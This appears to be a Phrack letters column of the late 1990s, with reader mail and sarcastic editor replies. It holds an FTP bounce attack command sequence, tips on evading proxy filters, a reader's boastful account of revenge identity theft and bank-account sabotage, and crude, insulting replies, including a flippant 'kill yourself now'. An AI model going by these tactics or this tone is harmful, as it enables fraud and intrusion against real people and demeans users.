[ `route`. Cos I thoroughly route my foes. And also cos I route through all
|
||
my girlfriends' purses when they are in the bathroom. ]
|
||
|
||
Q: What is your position at Phrack?
|
||
|
||
[ I AM PHRACK. ]
|
||
|
||
Q: When did you realize you were a hacker(or phreaker, cracker,
|
||
whatever applies to you)?
|
||
|
||
[ It is something you are born with. It is not something you learn. There
|
||
is no single moment of realization. It is something you just `are`. It
|
||
is this unexplicable and inexorable pursuit of knowledge. To learn. To
|
||
break. To fix. To push. To optimize. To learn. To hack. ]
|
||
|
||
Q: What do you think hacking is Really about?
|
||
|
||
[ Oh c'mon man. Chicks and Money. That's what it ALL boils down to. ]
|
||
|
||
Q: How do you think the 'scene' has changed, and where would you like
|
||
to see it go?
|
||
|
||
[ See P48-02a ]
|
||
|
||
Q: If you could say anything to the community at large about hacking,
|
||
what would it be?
|
||
|
||
[ Um. Most of what you people consider hacking is simply a justification or
|
||
shield for doing illegal acts. ]
|
||
|
||
One last thing, do you know where(email, www address, whatever) i
|
||
could contact current or former members of 10pht, r00t, or any real
|
||
|
||
[ Um. Let's see. http://www.l0pht.com. http://www.r00t.org. And so on.
|
||
You're not a very smart person. ]
|
||
|
||
group (ie: not one of the lame new groups trying, unsuccessfully, to
|
||
copy the greatness of the older groups)?
|
||
Any response, including negation so i can search elsewhere, would be
|
||
greatly appreciated. Thank you for your time.
|
||
|
||
Weaver
|
||
|
||
0x12>-------------------------------------------------------------------------
|
||
|
||
Is it possible to "Hide" your ip while on tcp/ip connection
|
||
|
||
if so how?
|
||
|
||
Thanx
|
||
|
||
[ Yes, look into Onion Routing. ]
|
||
|
||
0x13>-------------------------------------------------------------------------
|
||
|
||
Hi Phrack-editors,
|
||
|
||
I'm looking for a good and experienced hacker to hack a German site.
|
||
There is enough money involved to satisfy you.
|
||
|
||
[ My price is quite high. Actually, fuck it. I don't want money. Give me
|
||
flesh and fame. Get me some elite movie role where I am the hero and Milla
|
||
Jovovich is my love interest. Then we'll talk. ]
|
||
|
||
I will give your more information with further correspondence.
|
||
|
||
Please let me know soon if you are interested, (just reply to this
|
||
usa.net address), thank you,
|
||
|
||
Diogenes
|
||
|
||
0x14>-------------------------------------------------------------------------
|
||
|
||
I recently read about the ancient ftp bounce attack. I have tried it and
|
||
it works on versions of ftp that are lower than wu-2.4.2. Here's what I
|
||
do.
|
||
|
||
[Receiving Machine no system req's except write access]
|
||
TYPE I
|
||
PASV (Give's IP then port)
|
||
STOR
|
||
|
||
[Sender Machine w/ver 2.4 or lower]
|
||
TYPE I
|
||
PORT <reciever's IP and port that was shown in the PASV command's output>
|
||
RETR <filename>
|
||
|
||
[Receiving Machine]
|
||
Binary Mode Transfer Started
|
||
|
||
It then goes on to get the file.
|
||
|
||
But...
|
||
|
||
If it is a wu-2.4.2 ver computer, the sender machine says Illegal PORT
|
||
Command, when you type the IP and port of the receiving computer. You can
|
||
only do a PORT command that includes the IP address that I am coming from.
|
||
Sorry to say I don't know how to do any kind of source route or IP
|
||
spoofing, although I'd be interested to hear if this was the only answer,
|
||
and am not sure if there is a way to get around this.
|
||
|
||
0x15>-------------------------------------------------------------------------
|
||
|
||
how can I phreak succsesfully in Germany???
|
||
|
||
[ The Germans hated me when I was there. I think they hate all Americans.
|
||
Something to do with WWII or something I guess. ]
|
||
|
||
0x16>-------------------------------------------------------------------------
|
||
|
||
Hello there :)
|
||
Probably u don't know who I am ...
|
||
|
||
[ Definitely. ]
|
||
|
||
well, I'm an italian boy and I wish to say ya one thing ...
|
||
You're Great.
|
||
|
||
[ Oh. C'mon now... Really? ]
|
||
|
||
I've just start to reading Phrack (the last issues) and I guess that it's
|
||
a very cool wonderful zine.
|
||
|
||
[ Get out. You think so? ]
|
||
|
||
Why am I tell ya this ??
|
||
Well, since I think that one person is as ya ... well he's great.
|
||
|
||
[ Now stop that. I'm really getting embarassed. ]
|
||
|
||
I'm trying to learn something from ya (and I shall overcome .... I hope :) )
|
||
I'm interesting in hacking .. but I'm not like some other ppl that always ask
|
||
"How can I be an hacker ??" "where I can find something to became root"
|
||
I guess that they haven't understood nothing
|
||
The REAL HACKER (for me) is an expert, has an etic and he hack to learn
|
||
The knowledge is one of the thing most important in the world (the other ones
|
||
are the GIRLS =) )
|
||
So I won't ask ya how to be an hacker ... (even cause you'll propbably say me
|
||
FUCK YOU ;) )
|
||
we're so far but maybe one day we could meet :) to share our knowledge
|
||
|
||
[ Wait a minute. Are you coming on to me? ]
|
||
|
||
Well, Thanx a lot and excuse me for all the time you spent to read this letter
|
||
Excuse me also for my terrible english
|
||
|
||
[ NP. Luckily Aleph1 was over, so he translated for me (`course, then I
|
||
needed someone to translate that, too). ]
|
||
|
||
Cool and great stuff has Phrack =)
|
||
|
||
[ Agreed. Great stuff has Phrack. ]
|
||
|
||
0x17>-------------------------------------------------------------------------
|
||
|
||
Hi, i noticed that you fixed up your web page, and thats nice, but my
|
||
probelm is, that when i downloaded the phrack 51 issue, it came like this :
|
||
" phrack51.tar.gz " so,....what kind of program do i use to open it?
|
||
Can you just put all issues in zip format? That would help us all!
|
||
|
||
[ 'Us all'? You are of course refering to the entire moron population.
|
||
Phrack does not cater to the morons of the world, sorry. Try 2600. I hear
|
||
their target audience is a bit thicker skulled. ]
|
||
|
||
0x18>-------------------------------------------------------------------------
|
||
|
||
Hi,
|
||
|
||
I sent you an email a while back asking you to forward a message to
|
||
an author of one of your articles, since he wanted to remain anonymous.
|
||
However I never got any reaction either from the author or from you.
|
||
It's really important for me that I find him to discuss some
|
||
techicalities.
|
||
|
||
The article was; "How to make your own telecards"
|
||
Volume Seven, Issue Forty-Eight, File 10 (and 11) of 18
|
||
|
||
Did you manage to send the email off to him successfully?
|
||
|
||
All I want is for him to contact me on this address (raven@swipnet.se).
|
||
If he wants to remain anonymous he could easily create an email account
|
||
on www.hotmail.com or another service of that kind.
|
||
|
||
It would be very nice of you to forward this email to the author of
|
||
the article and reply to me wether it was sent successfully or if it
|
||
bounced back.
|
||
|
||
thanks
|
||
|
||
[ This is the best we can do. ]
|
||
|
||
0x19>-------------------------------------------------------------------------
|
||
|
||
Hey there... is there any way to get phrack in just one big file instead of
|
||
getting it in a lot of separate files? Thanks...
|
||
|
||
Thanks,
|
||
|
||
Crystalize
|
||
|
||
[ `cat phrack* > master_phrack.blob` ]
|
||
|
||
0x1a>-------------------------------------------------------------------------
|
||
|
||
im having trouble finding uk phreak iNfOs! can u help me out? im looking 4
|
||
bt c7 info and uk payphones. cheers
|
||
|
||
[ Hrm. I know several Brits who like me tho. And I like them, too. Much
|
||
more then the Germans. The .uk girls are waaay prettier too. ]
|
||
|
||
0x1b>-------------------------------------------------------------------------
|
||
|
||
HELP> Your the Best I need your help FAST
|
||
|
||
[ AHM THE BEST!@ ]
|
||
|
||
I have 2 files in Corel Word Perfect 7.0 that have pass words on them I
|
||
need the Fast Can you help? Or know anyone who can?
|
||
|
||
I'm in the U.S.
|
||
|
||
[ Great. We're practically neighbors then. ]
|
||
|
||
I will pay I hear your one of the Best out there :-)
|
||
|
||
[ AHM THE BEST!@ ]
|
||
|
||
Melissa
|
||
|
||
P.S.I need to try to get these by Sun. Night I can e-mail them to you?
|
||
|
||
[ Hrm. `Melissa` huh... Hrm.. You'd better bring them over, this could
|
||
take a while. ]
|
||
|
||
0x1c>-------------------------------------------------------------------------
|
||
|
||
Just wondered why everyone raves about PGP, even thogh it's breakable.
|
||
|
||
[ What the hell are you talking about? ]
|
||
|
||
Is it possible to by-pass 'Proxy blocks' on an internet connection? The local
|
||
iNet connection has blocks on all hack/warez sites whereby when you try and
|
||
access them you get a 'You're trying to access a filtered URL' message. I
|
||
figured it would be possible to re-route the conneciton but haven't a clue
|
||
how.
|
||
|
||
[ Shure. Try some covert tunneling via IP fragmentation or IP-IP. ]
|
||
|
||
Also, how do you find out all this stuff about tapping phones, cell-net
|
||
busting and telephone, errr, dabbling?? Do you research it yourself or just
|
||
accumulate it form others?
|
||
|
||
[ Everything I know about phones is self-taught. ]
|
||
|
||
Many thanks,
|
||
Denyerec
|
||
|
||
0x1d>-------------------------------------------------------------------------
|
||
|
||
Hi,
|
||
I've been reading a-lot of phrack zines lately and seeing your name
|
||
in most of them, I thought your the best to answer my questions ???
|
||
|
||
To become a hacker where do I start ?
|
||
|
||
[ New Zealand. Or at least as far away from CA as possible. ]
|
||
|
||
What books should I read ?
|
||
|
||
[ Anything by Stevens/Knuth or any of the millions of smarter-then-you people
|
||
out there. It's a safe bet that, if they wrote a book, they're smarter then
|
||
you. Very safe bet. Like, Fort Knox safe. ]
|
||
|
||
What languages do I have to learn ?
|
||
|
||
[ English is a good start. ]
|
||
|
||
Which sites are the best to go to for information on hacking
|
||
(including newsgroups) ?
|
||
|
||
[ Anything in the alt.* hierarchy is a good plan. It's ALL *choice*
|
||
material. ]
|
||
|
||
I've only started hacking and that's into applications on my
|
||
computer and my friends computers.
|
||
|
||
[ That's nice. ]
|
||
|
||
I hope I'm not bothering you with this message.
|
||
|
||
[ No bother at all. I'm shure you've made someone smile, somewhere. ]
|
||
|
||
0x1e>-------------------------------------------------------------------------
|
||
|
||
Dear Phrack,
|
||
I'm looking for a phreak to work in France and I couldn't find such
|
||
informations on the Net; so, is there any chance that blue box may work in
|
||
France, or the Phoney app which comprise red, bleu, green, and black boxes,
|
||
and if so it is, how does it work ?
|
||
Also, there is any site on the Net where I can find informations and tools
|
||
for phreak in France?
|
||
|
||
Thank you so lot by advance for your advices.
|
||
|
||
[ Now, I don't know any French people, but, I think if I met some, they
|
||
would like me. I don't give into all that `French people suck` propaganda.
|
||
Nono. I think they rock. And the French women are really pretty, too. ]
|
||
|
||
0x1f>-------------------------------------------------------------------------
|
||
|
||
I use a macintosh when I ip spoof. Please, if you use a macintosh, send
|
||
me a hacked version of TCP/IP an/or a hacked version of Open Transport.
|
||
thanks.
|
||
|
||
[ You're neat. Let's be pen-pals. ]
|
||
|
||
0x20>-------------------------------------------------------------------------
|
||
|
||
Hello!
|
||
|
||
Sorry for borring you, but I've some problems with L2 on FreeBSD-2.2.1R
|
||
and decide to ask you about some tech details.
|
||
|
||
The problem is that 'loki' unable to receive ICMP_ECHO packets from
|
||
'lokid'. I dig through kernel netinet sources and AFAIK, there is no way
|
||
to pass ICMP_ECHO packets to userland. In ip_icmp.c we have:
|
||
|
||
|
||
ICMP_ECHO->icmp_input()->icmp_reflect()->ICMP_ECHO_REPLY->icmp_send()->net
|
||
|
||
So, there is no chance to receive ICMP_ECHO in application program, isn't
|
||
it?! Unfortunately, I've no access to Linux box, so I can see what's
|
||
hapen there.
|
||
|
||
[ You are correct. In the accopmanying paper I allude to this problem. Net/3
|
||
based stacks will not pass ICMP request packets to userland. ]
|
||
|
||
Is there are any workarounds? I can patch my kernel, but I think this is
|
||
not right way. What do you think about this?
|
||
|
||
[ Running the client and daemon on Net/3 boxes is a problem. ]
|
||
|
||
p.s. The idea of patch is simple - create copy of packet's mbuf via
|
||
m_copy(), send it to rip_output() and only after that pass original packet
|
||
to icmp_reflect().
|
||
|
||
[ Cool! Write the patch up and I'll publish it in a future issue. ]
|
||
|
||
Regards, Roman.
|
||
|
||
0x21>-------------------------------------------------------------------------
|
||
|
||
I would like to put a request out for all so called "hackers" to join up i
|
||
can't find nobody to talk to in this Hellhole Richmond,Virginia I want to put
|
||
a message up for all VA area code 804 hackers that live near richmond to
|
||
email me at DrMischief@juno.com . ThanX
|
||
|
||
ThanX,
|
||
Mischief
|
||
|
||
ALIAS: DrMischief
|
||
|
||
[ Here's your chance. ]
|
||
|
||
0x22>-------------------------------------------------------------------------
|
||
|
||
Let me start by saying your magazine is great. I read it whenever I have
|
||
time. I am a newbie and want to know if you know anyone who could help me
|
||
get started who lives/operates in the Morris County, NJ area.
|
||
|
||
~The Gator
|
||
|
||
P.S. If you know anyone using the handle 'The Gator', can you please tell
|
||
me so I don't offend anyone.
|
||
|
||
[ You mean you haven't checked in the official codename repository? Oh boy.
|
||
I don't envy you. `The Gator` is one of the most sought after nicks in the
|
||
history of nicks! You're in for it now. God help you. ]
|
||
|
||
0x23>-------------------------------------------------------------------------
|
||
|
||
Hello!
|
||
Thanks for such a good e-zine. It has a lot of relevant articles,
|
||
and it helped me start hacking. Again. thanks for that.
|
||
I was wondering one thing, however: do you know onything about the
|
||
Mentor? He wrote the Hacker MAnifesto, and I believe he wrote an article for
|
||
phrack once...... Could you give me any help, please? I'm dong this for a
|
||
school project....
|
||
|
||
[ I hear the mentor joined a new wave band and changed his name to Bobbysox. ]
|
||
|
||
0x24>-------------------------------------------------------------------------
|
||
|
||
Where can I find a sshd.c trojan?
|
||
|
||
[ http://www.cs.hut.fi/ssh/#current-version ]
|
||
|
||
0x25>-------------------------------------------------------------------------
|
||
|
||
I'd like to know if someone of you ever made some compiling in
|
||
C (I'd like something for you) thank's
|
||
|
||
[ Huh? ]
|
||
|
||
0x26>-------------------------------------------------------------------------
|
||
|
||
Hi, I need a FALSE IP APP: Can You Help ME?
|
||
|
||
[ NO I can't HELP you AT all. ]
|
||
|
||
0x27>-------------------------------------------------------------------------
|
||
|
||
I heard about Phrack magaine issue talks about hijacking sessions, which
|
||
one is that issues? I can't find it.
|
||
|
||
[ P50-06 ]
|
||
|
||
0x28>-------------------------------------------------------------------------
|
||
|
||
I'm trying to reach all the real hackers and phreaks (not stupid warez
|
||
lamers) in the 601 area code, especially those around Lauderdale county,
|
||
so I figured Phrack would be a good place to start.
|
||
|
||
A few friends and I are gonna be starting some get-togethers at the new
|
||
Bonita Lakes Mall in Meridian when it opens up later this October
|
||
(probably long past by the time the issue of Phrack this will be in
|
||
comes out).
|
||
|
||
All fellow readers interested in reviving the HP scene in the East
|
||
Mississippi-West Alabama area are welcome to come (reviving assumes that
|
||
there was ever a scene here in the first place. We're quite boring
|
||
hicks in this part of the country).
|
||
|
||
If you're planning on coming, or want more info, please E-Mail me at
|
||
weaselsoftware@hotmail.com
|
||
|
||
Even if we just have the locals, we should have a lot of fun, so if all
|
||
goes well, I just might be writing an article for Phrack about it, if
|
||
ya'll would be interested.
|
||
|
||
[ We would'nt be. Ya'll. ]
|
||
|
||
Cheers,
|
||
-|/|/easel
|
||
|
||
0x29>-------------------------------------------------------------------------
|
||
|
||
I'v have a few questions about Juggernaut:
|
||
|
||
1) can it capture ethernet packet ?
|
||
|
||
[ It can capture many. ]
|
||
|
||
2) can it act like sniffer ?
|
||
|
||
[ Shure. ]
|
||
|
||
3) which compiler
|
||
|
||
[ GNU C compiler ]
|
||
|
||
4) does it have to run on root
|
||
|
||
[ No, it has to run as root. ]
|
||
|
||
5) which plateform does it work on?
|
||
|
||
[ Linux (legacy version) Linux, BSD, Solaris (current unreleased version) ]
|
||
|
||
0x2a>-------------------------------------------------------------------------
|
||
|
||
You could say I'm a newbie or novice. I would be very greatful if you
|
||
could send info on anything on beginning hacking. Like what computers are
|
||
the best and what additional accessories you need. So in short please send
|
||
any info you could. Thanks.
|
||
|
||
[ WHAT AM I DOING? I AM PUBLISHING PHRACK. WHAT IS PHRACK ABOUT? PHRACK
|
||
IS ABOUT DISSEMINATING ENTROPIC INFORMATION TO ANYONE WHO WANTS IT. ARE
|
||
YOU CONFUSED? IT WOULD APPEAR SO. ]
|
||
|
||
0x2b>-------------------------------------------------------------------------
|
||
|
||
I have heard about your magazine. I am not new but I am not experienced
|
||
to this side. Would you please guide me to where I would begin.
|
||
pool
|
||
|
||
[ P51-02@0x2a ]
|
||
|
||
0x2c>-------------------------------------------------------------------------
|
||
|
||
Kong-ratz Guyz! You made it onto C|NET Last night at 10 on (Sept) the 5th.
|
||
They were bashing you! Damn..... Well thats it. C-ya!
|
||
|
||
[ Hrm. ]
|
||
|
||
0x2d>-------------------------------------------------------------------------
|
||
|
||
After reading Phrack for years and being in the computer industry for
|
||
18+ years, I thought it was time that I write in. I have been reading Phrack
|
||
for about 6 years now. Even talked to Erik Bloodaxe a few times in
|
||
regards to Banyan Vines a couple of years ago when I was in the military.
|
||
The scene seems to have changed so much now. It used to be full
|
||
disclosure for the most part. Now everyone is so paranoid of sharing what
|
||
they know, since everyone will rush a patch out for the latest exploit.
|
||
How do you think others learned? Hacking is and always will be about
|
||
exploring the limits of systems and networks. As you learn and share,
|
||
others can expand their knowledge base. I started back on Atari 400s
|
||
years ago coding in BASIC. I know many will laugh at that very thought,
|
||
but it was a start. The groups back then were very tight, but also
|
||
willing to help each other. If you showed a willingness to learn, and
|
||
took the time to learn, instead of just leeching, it was amazing what
|
||
others would do to help you.
|
||
|
||
I have been digging through tons of sites lately, most are outdated hacks
|
||
from what I have seen. Most places patch as fast something hits the `Net.
|
||
But at least you can learn from the code if you take the time. I want to
|
||
sends congrats out to Phrack. You guys along with a handful of others make it
|
||
a point to keep sending things out to us in the community. One of the
|
||
comments I am sure to hear is, then why don't you contribute things? I have
|
||
not to Phrack directly, but that will change soon. I don't have a lot that is
|
||
that great, that hasn't been patched for already. Mine is more tinkering and
|
||
learning. Anyway, I am sure I have rambled enough for now. Just thought I
|
||
would give my $.02 worth. Keep up the good work at Phrack!
|
||
|
||
L8R,
|
||
|
||
D-Man
|
||
|
||
0x2e>-------------------------------------------------------------------------
|
||
|
||
I am looking for a REALLY good telenet software and an also REALLY good
|
||
|
||
[ I like the telnet software that comes with 4.4BSD. ]
|
||
|
||
scanner software. Can you refer me anywhere?
|
||
|
||
[ Scanners was a terrifiing movie! Why would you want to scan someone?!@ ]
|
||
|
||
I also would like to know how you decode the password in the passwd
|
||
file.
|
||
For example it writes:
|
||
|
||
john: x :9999 :13: John Johnson:/home/dir/john:/bin/john
|
||
|
||
[ 'x' is a shadow password token. It cannot be decrypted. Futhermore:
|
||
Unix passwd encryption is based on a modified version of DES. The user
|
||
enters her login and password at the prompts. The user entered password is
|
||
used as a key to encrypt a 64-bit block of NULLs. The first seven bits of
|
||
each character are extracted to form a 56-bit key. (The other eight are
|
||
used for parity.) This implies that only eight characters are significant to
|
||
a password. The E-table is then modified using the salt, which is a 12-bit
|
||
value, coerced into the first two chars of the stored passwd. The salt's
|
||
purpose is to make precompiled passwd lists and DES hardware chips
|
||
ineffectual (or more difficult to use). Then, DES is invoked for 25
|
||
iterations on the block of zeros. The output is 64-bits long, and is then
|
||
coerced into a 64 character alphabet (0-9, A-Z, a-z, ".", "/"). This
|
||
involves translations in which several different values are represented by
|
||
the same character. Unix passwd crypts are the product of a one-way hash.
|
||
Information about the key is dropped in every iteration. Bits are LOST in
|
||
the process. crypt(3), therefore, CANNOT be decrypted, reversed, or
|
||
otherwise subverted from any type of scrutiny of it's output. ]
|
||
|
||
|
||
0x2f>-------------------------------------------------------------------------
|
||
|
||
To the Editor:
|
||
|
||
I have to give out props to the job done on Phrack51.....it just keeps
|
||
getting better and better. Iv'e enjoyed Phrack 1-50 but i must say that since
|
||
the current staff of the mag took over iv'e really noticed a marked
|
||
improvement in the qaulity and content of the articles. Thanx for making this
|
||
magazine available to all of us out here who are reading and learning But just
|
||
one thing wheres my pics of Mila Jovavich in the nude!!!!!!
|
||
|
||
NMEwithin
|
||
|
||
[ http://www.infonexus.com/~daemon9/PIX/milla4.jpg ]
|
||
|
||
0x30>-------------------------------------------------------------------------
|
||
|
||
a story of adolencent revenge..by a not so adolencent at 3:37 am
|
||
|
||
[ Be warned. This is long. ]
|
||
|
||
So here i sit surrounded by an ashtray full of butts, empty beer cans, empty 2
|
||
liters, a giant pile of papers, a stack of cd's, dirty dishes, tangled cords,
|
||
red and green lights, the ticking of the furnace and blurred vision. Just got
|
||
back from the pool hall and pissed off. why? because an old friend is getting
|
||
married tomorrow and I was not invited. Well WAS a friend is more to the point.
|
||
Betrayal in any form is a great primer for hatred. I am a twenty something
|
||
(hate that fucking phrase) loser with no clue on what the future holds..but I
|
||
find pleasure in figurative masterbation with MY processor. Match wits with
|
||
this bitch, tell IT what to do and make it my slave...cheap thrill. Having
|
||
power over something or someone is great while it lasts..as long as you do not
|
||
have a concience. But I was wronged, so it is justified..my actions I mean...
|
||
right? My girlfriend is asleep upstairs and thinks I sit up a nights doddeling
|
||
to porn sights. I tell her that my pc is not working right, so that is why I am
|
||
always working on it...that fucker bill gates. If he was a smart as the world
|
||
beleives he is, these activities would not be so easy. Back to the point.
|
||
(sorry! had a few too many). So I sign on...search for allies, find them among
|
||
other assholes that have somehow learned one of my handles. My buddies are up
|
||
to some funny shit, not total anarchy, but funny none the less. So what do I
|
||
do...I tell them that I am in a bad state of being at the moment..they ask why,
|
||
"Time for pain!" is what I read. You know how it is. A friend since first
|
||
grade on through college just fucked you for the 100th time. I feel sick about
|
||
it, but none the less it's time to put to work the tricks of the trade. I give
|
||
my TRUE friends the skinny on my intentions, they ablige with laughter and
|
||
frothing mouths. I cough up his SS#, home, phone, bank, work, license, and
|
||
online accounts. Too late to turn back now. It's funny how one will actually
|
||
take the gas pipe for virtual strangers that one has formed an online bond
|
||
with, and will enlist them in a sceme to fuck a real time friend. (ex-friend).
|
||
Number one, divide up the tasks. Number two, failure is NOT an option. N!umber
|
||
three, ruin wedding. So here we go...secretary of state was a blow off, no
|
||
brainer. PhoneCo a bit tougher (but been there before). Bank..oh the bank..
|
||
online banking 24/7 was such a good idea. My collective cohorts and I were
|
||
like pitbulls fighting over the neighbors cat. Giggeling like schoolgirls. HEY
|
||
we are elite! or so we think..most of our shit (not all) was built by others
|
||
before us. We did modify code, but the backbone was not our own. Now it is
|
||
4:30 am and the shit is flying...after reading the "underground" being a
|
||
martyr seems cool. My head is spinning, but I have to remain focused at all
|
||
times..it is hard. Account activity...money is due to the banquet facility
|
||
tomorrow. At least the balance of the shindig after the initial deposit. Check
|
||
numbers and cleared transactions. He has no fucking clue! The best part was
|
||
that he had mentioned writing a check for his balance only one day before....
|
||
but the amount owed was not cleared yet on his account. So time to insert!
|
||
--0.00 balance. Too easy. OK, fine. Just a bounced check to deal with. Phones
|
||
turned off (schedualed termination for lack of response to notices sent). Oh
|
||
yeah..did I mention Utilities? Bank takes care of payment...how convenient.
|
||
Car payments, insurance, mortgage the whole nine. Zip, Zero, Zed. A repeater.
|
||
Constant (0.00). I am an asshole, I know, but being fucked by a 'FRIEND" is
|
||
troubeling and unforgivable in this situation. One more thing..Company Voice
|
||
mail...fucked. Left a text to speech recording to boss, too funny and
|
||
implicating to dillhole. It's like giving beavis and butthead a small piece of
|
||
gray matter that works for only bad things. I should of been invited to this
|
||
wedding, but never the less, he is marrying a whore. This may sound vindictive
|
||
or like sour grapes, but totally true. So actaully we are doing him a service,
|
||
he just does not know it. The "ruin the wedding" part is actually out. It will
|
||
happen and the avalanche of our actions will not start until the following
|
||
week. But at least i did something, right? What a stupid thing to concentrate
|
||
on. I am an idiot with things I should not have. Most of my collective friends
|
||
are striking political targets...I am bouncing a check. But I am over it now.
|
||
Time to sit back and wait...wait for the phone call from a mutual friend to
|
||
give me the dirt. I guess I am the type of guy that would get a boner if I
|
||
reset his sprinkler timer to go off when he is trying to get in his car.
|
||
Totally retarded, but I would laugh for days. Whats wrong with me? I am now
|
||
sitting here in my self-made dungeon scratching my head saying to myself "boy
|
||
that was way harsh". I know some people would pose the question, "what did he
|
||
do to desrve this type of retaliation?". You know what it's like, you have
|
||
been there at one time, and everyone reaches a point where counter measures
|
||
are warranted. Case closed. What we did was but an inconvenience, but will be
|
||
remedied. Nothing was left beyond repair. It's at these times! (no matter how
|
||
trivial) you find out who is willing to take a bullet for you. And in some
|
||
fucked up way, that is important. At least it is to me. it's 7:49 am and time
|
||
for the sandman.
|
||
|
||
SychoSiS - The Collective.
|
||
|
||
[ I am not sure which saddens me more, the fact that you actually spent several
|
||
hours writing this, or the fact that I spent several minutes reading it. Now
|
||
Phrack's loyal readers can feel my pain and read this for themselves. ]
|
||
|
||
0x31>-------------------------------------------------------------------------
|
||
|
||
To whom it may concern:
|
||
|
||
I believe that I submitted an article to your publication on hacking the
|
||
phones at your local WAL~MART, please be advised that I submitted the
|
||
same article to 2600 magazine and blacklisted 411, however I submitted
|
||
the article to 2600 magazine before yours or blacklisted, they have
|
||
decided to publish my article, and there fore I wish to inform you of
|
||
this so there is no confusion.
|
||
|
||
Thank you for your attention,
|
||
|
||
Pirho
|
||
--
|
||
Brought to you by Pirho and the International Brother Hood Of Frat
|
||
Houses.
|
||
|
||
[ We can only hope that your article brings Emmanuel and the rest of the 2600
|
||
editorial team as much amusement as it brought us. Not from going and
|
||
harassing people at Walmart, no. Mostly from laughing at you for writing
|
||
it. We'll leave the articles on hacking things like Walmart and Disney
|
||
World for publication by 2600. We like to think we still have a reputation
|
||
for quality. -alhambra ]
|
||
|
||
0x32>-------------------------------------------------------------------------
|
||
|
||
Dear..sir
|
||
I had readed yours doc.I'm interesting
|
||
about hacking art and learing it.I would like
|
||
to ask you.How can I hack my ISP?It's dumbing
|
||
I know.But I don't know to ask anybody.
|
||
|
||
[ I wonder if the aleph1speak to English translator has a `Yoda setting`... ]
|
||
|
||
0x33>-------------------------------------------------------------------------
|
||
|
||
Hey, I just finished a two hour picture tour at your webpage, looked at
|
||
every single photo on that hosted there, I know for one thing, with all the
|
||
film you have used, Kodak must love you! The pic's were a riot, matter of
|
||
fact, I almost had an accident in my pants I was laughing so hard. Seam's
|
||
|
||
[ Maybe you should get some rubber pants or those adult diapers. ]
|
||
|
||
like you and your friends know how to have fun (my kind of people) all we
|
||
have up here is half-wit clowns. Anyway, enuf with the bullsh*t,
|
||
I just wanted to ask you who owns "INN", if it is you, how did you pay for
|
||
all that hardware? Where are you located, Cali I assume? How old are you?
|
||
Any chance of meeting somewhere to chat one day (IRC)?
|
||
If it's to personal, I understand, if not, reply..
|
||
|
||
[ Are you coming on to me? ]
|
||
|
||
|
||
Regards -Tyrant
|
||
|
||
0x34>-------------------------------------------------------------------------
|
||
|
||
[ ...Regarding the 'Teardrop' IP fragmentation bug... ]
|
||
|
||
Dear To whom it concearns,
|
||
|
||
I do not think you should have posted this about your bug you found.
|
||
Alot of maniacs got a hold of it and are crashing servers everywhere. The
|
||
net has turned into anarchy. I have about 4 servers down that i patched. But
|
||
|
||
[ The Internet is anarchistic by nature. ]
|
||
|
||
the patch doesnt seem to work.
|
||
|
||
[ The patch works fine. Perhaps it is you that is broken? ]
|
||
|
||
I do not think you should have posted that publically like that.
|
||
|
||
[ Thanks. I'll make sure to file your opinion in the ignorance-folder. ]
|
||
|
||
|
||
0x35>-------------------------------------------------------------------------
|
||
|
||
I'm just wondering when is defcon and where can I find out about little
|
||
bit more?
|
||
Regards.
|
||
Pav.
|
||
|
||
[ Defcon is traditionally held during the Summer in Sin City. Damn I love
|
||
that town. http://www.defcon.org for more info, although the future of
|
||
this Con is in question. ]
|
||
|
||
0x36>-------------------------------------------------------------------------
|
||
|
||
Where can I find ways to make Long Distance phone calls without getting
|
||
billed (and prefferably without making any boxes?)
|
||
|
||
[ A phone line for which you do not pay the bill. ]
|
||
|
||
I'm not an idiot, I just thought I'd ask. :)
|
||
|
||
[ Is that open to conjecture? ]
|
||
|
||
0x37>-------------------------------------------------------------------------
|
||
|
||
To Whom It May Concern:
|
||
|
||
I enjoy reading your stuff in Phrack and I pay attention to those stuff
|
||
that is writen about unix reading stuff. I am just wonder if there is any way
|
||
to play tricks or hack linux 1.2.13. It also runs pine under it and I think
|
||
there is a trick with .rhosts in pine and ls /tmp. Could you please tell me
|
||
more stuff about this?? I could download the /etc/passwd file but then I have
|
||
to use a dictionary to hack it and is there away of hacking it without using a
|
||
dictionary?? And how do I delete my last login file?? Thanks!!
|
||
|
||
Your Truly
|
||
|
||
Tag
|
||
|
||
[ Linux 1.2.13 is one of most inpenetrable versions of Unix out there today.
|
||
Not only is the Linux O/S reknown for its stalwart and inpenetrable security
|
||
but the 1.2.13 kernel was where Alan, Eric, Linus and the rest of crew
|
||
peaked. That kernel revision is all-but immune to every known form of
|
||
attack (with the possible exeception of quantum state disassembly). Your
|
||
best bet is to kill yourself now. ]
|
||
|
||
0x38>-------------------------------------------------------------------------
|
||
|
||
How ye all doin there at Phrack, hope your all keepin well.
|
||
|
||
Anyways before I say anything I'll admit it, I'm a newbie, not a lamer a
|
||
newbie. I've read all the hacking files I can get my hands on. There's only
|
||
one small problem...I live in Ireland. A few weeks ago I was given an article
|
||
written by "Hackwind" (1992 I think) about the hacking scene in Ireland.
|
||
Believe you me. It's even worse than he says it is. The main problem is that
|
||
all the files written don't relate to Ireland in any way . I don't even know
|
||
ONE bbs in Ireland and NO ONE I have spoken to does either. I don't expect you
|
||
to know much about the hacking scene in Ireland but if you do know anything,
|
||
anything at all could you please send it to me. I'm dying for information.
|
||
Information that I can't get my hands on. If you don't know anything about it
|
||
perhaps you know of some contacts.
|
||
Please let me know. Cheers,
|
||
N0_eCH0
|
||
|
||
PS. Keep up the good work at Phrack.
|
||
|
||
[ Ok, someone in Ireland help this guy out. ]
|
||
|
||
0x39>-------------------------------------------------------------------------
|
||
|
||
hello my name is FUSION from a group called digital elite alliance and i
|
||
was wondering if you would like to become allies with us. If so e-mail me back
|
||
at XXXX@prodigy.net and then i'll get back to you.
|
||
|
||
[ Don't hold your breath. Wait. On second thought, do. ]
|
||
|
||
0x3a>-------------------------------------------------------------------------
|
||
|
||
Daemon9,
|
||
Hi! I'd like to ask you a very common question. Maybe everyday you have
|
||
received mails asking it. Yes, what I want to know is how to become a great
|
||
hacker.
|
||
|
||
[ Swing from the shoulders, not from the arms. ]
|
||
|
||
I am a freshman in university. I wanna to be a hacker, not for doing
|
||
damage to others, but in my own view, being hacker require a lot of
|
||
knowledge and creative. I aim at knowledge and want to find out new tech,
|
||
while not just using others'. In fact, I have read many articles about how
|
||
to become a hacker. And I have done them.
|
||
Now, I have mastered C, unix shell, and some of TCP/IP.
|
||
So what should I going to learn if I want to be a great hacker like you?
|
||
|
||
